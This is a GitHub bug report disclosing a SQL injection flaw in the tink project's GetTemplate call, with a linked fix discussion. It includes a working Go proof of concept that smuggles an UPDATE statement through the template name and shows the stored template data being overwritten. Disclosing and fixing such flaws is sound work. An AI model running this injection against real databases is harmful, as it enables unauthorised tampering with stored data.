Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

trivial sql injection in GetTemplate #574

Closed
mmlb opened this issue Dec 23, 2021 · 0 comments · Fixed by #577
Closed

trivial sql injection in GetTemplate #574

mmlb opened this issue Dec 23, 2021 · 0 comments · Fixed by #577
Labels
kind/bug Categorizes issue or PR as related to a bug.
Milestone

Comments

@mmlb
Copy link
Contributor

mmlb commented Dec 23, 2021

Tink's template code does the unforgivable sin of concatenating strings to build up the query which leads to sql injection. hardware and workflow might be similarly affected though a tad more difficult (I think, due to json) but definitely worth looking into.

Expected Behaviour

calls to GetTemplate do not modify the database.

Current Behaviour

No validation is done to the Id or Name parameters in GetTemplates arguments, which can be easily crafted to drop data.

Possible Solution

Use postgres query parameters instead string concat.

Steps to Reproduce (for bugs)

  1. Bring up sandbox
  2. Compile the example program at the bottom of this issue
  3. docker cp the statically built program from step 2 into tink-cli container
  4. Run said program, see simlar output:
vagrant@ubuntu2004:/vagrant/compose$ docker cp ~/tink-sql-injection compose_tink-cli_1:/ && docker-compose exec tink-cli ./tink-sql-injection
===== before sql injection =====
id:89202fd1-643f-11ec-b9a0-0242ac120006
name:debian_Focal
data:version: "0.1"
name: debian_Focal
global_timeout: 1800
tasks:
  - name: "os-installation"
    worker: "{{.device_1}}"
    volumes:
      - /dev:/dev
      - /dev/console:/dev/console
      - /lib/firmware:/lib/firmware:ro
    actions:
      - name: "stream-ubuntu-image"
        image: image2disk:v1.0.0
        timeout: 600
        environment:
          DEST_DISK: /dev/vda
          IMG_URL: "http://192.168.56.4:8080/focal-server-cloudimg-amd64.raw.gz"
          COMPRESSED: true
      - name: "install-openssl"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "apt -y update && apt -y install openssl"
      - name: "create-user"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "useradd -p $(openssl passwd -1 tink) -s /bin/bash -d /home/tink/ -m -G sudo tink"
      - name: "enable-ssh"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "ssh-keygen -A; systemctl enable ssh.service; sed -i 's/^PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config"
      - name: "disable-apparmor"
        image: cexec:v1.0.0
        timeout: 90
        environment:
          BLOCK_DEVICE: /dev/vda1
          FS_TYPE: ext4
          CHROOT: y
          DEFAULT_INTERPRETER: "/bin/sh -c"
          CMD_LINE: "systemctl disable apparmor; systemctl disable snapd"
      - name: "write-netplan"
        image: writefile:v1.0.0
        timeout: 90
        environment:
          DEST_DISK: /dev/vda1
          FS_TYPE: ext4
          DEST_PATH: /etc/netplan/config.yaml
          CONTENTS: |
            network:
                version: 2
                renderer: networkd
                ethernets:
                    ens5:
                        dhcp4: true
                    ens6:
                        dhcp4: true
          UID: 0
          GID: 0
          MODE: 0644
          DIRMODE: 0755


if we query by name for >>>debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal<<< the sql statement will look something like:

	SELECT id, name, data, created_at, updated_at
	FROM template
	WHERE
	name = 'debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal' AND
	deleted_at IS NULL
	
===== after sql injection =====
id:89202fd1-643f-11ec-b9a0-0242ac120006
name:debian_Focal
data:invalid

Example code

package main

import (
	"context"
	"fmt"

	"github.com/packethost/pkg/log"
	"github.com/pkg/errors"
	"github.com/tinkerbell/tink/client"
	"github.com/tinkerbell/tink/protos/template"
)

func main() {
	l, err := log.Init("github.com/packethost/tink-sql-injection")
	if err != nil {
		panic(err)
	}
	defer l.Close()

	conn, err := client.GetConnection()
	if err != nil {
		l.Fatal(errors.Wrap(err, "failed to connect to real tink"))
	}

	c := client.NewFullClient(conn)
	ctx := context.Background()

	req := &template.GetRequest{
		GetBy: &template.GetRequest_Name{
			Name: "debian_Focal",
		},
	}
	var t *template.WorkflowTemplate

	t, err = c.TemplateClient.GetTemplate(ctx, req)
	if err != nil {
		l.Fatal(err)
	}

	fmt.Println("===== before sql injection =====")
	fmt.Printf("id:%s\nname:%s\ndata:%s\n", t.Id, t.Name, t.Data)

	name := "debian_Focal'; UPDATE template SET data = 'invalid' WHERE name = 'debian_Focal"
	getCondition := fmt.Sprintf("name = '%s'", name)
	query := `
	SELECT id, name, data, created_at, updated_at
	FROM template
	WHERE
	` + getCondition + ` AND
	deleted_at IS NULL
	`
	fmt.Printf("\nif we query by name for >>>%s<<< the sql statement will look something like:\n%s\n", name, query)
	_, err = c.TemplateClient.GetTemplate(ctx, &template.GetRequest{
		GetBy: &template.GetRequest_Name{
			Name: name,
		},
	})
	if err != nil {
		panic(err)
	}

	t, err = c.TemplateClient.GetTemplate(ctx, req)
	if err != nil {
		l.Fatal(err)
	}

	fmt.Println("===== after sql injection =====")
	fmt.Printf("id:%s\nname:%s\ndata:%s\n", t.Id, t.Name, t.Data)
}
@mmlb mmlb added the kind/bug Categorizes issue or PR as related to a bug. label Dec 23, 2021
@mergify mergify bot closed this as completed in #577 Feb 8, 2022
mergify bot added a commit that referenced this issue Feb 8, 2022
## Description

SQL column names and values should be escaped. Go does not offer a generic function for this (as it tends to be SQL dialect specific).  The "pq" library, which we are using as a Postgresql interface, does provide helpers for this purpose.
 
https://pkg.go.dev/github.com/lib/pq#QuoteIdentifier

Alternatively, `buildGetCondition` is only used by one caller. It should be possible to remove `buildGetCondition` and have `GetTemplate` build a parameterized query with a parameterized list (some SQLs or client libraries don't allow for field names to be parameters, I don't know if that is the case here).
 
## Why is this needed



Fixes: #574

## How Has This Been Tested?






## How are existing users impacted? What migration steps/scripts do we need?





## Checklist:

I have:

- [ ] updated the documentation and/or roadmap (if required)
- [ ] added unit or e2e tests
- [ ] provided instructions on how to upgrade
@displague displague added this to the 0.7.0 milestone Aug 15, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
kind/bug Categorizes issue or PR as related to a bug.
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants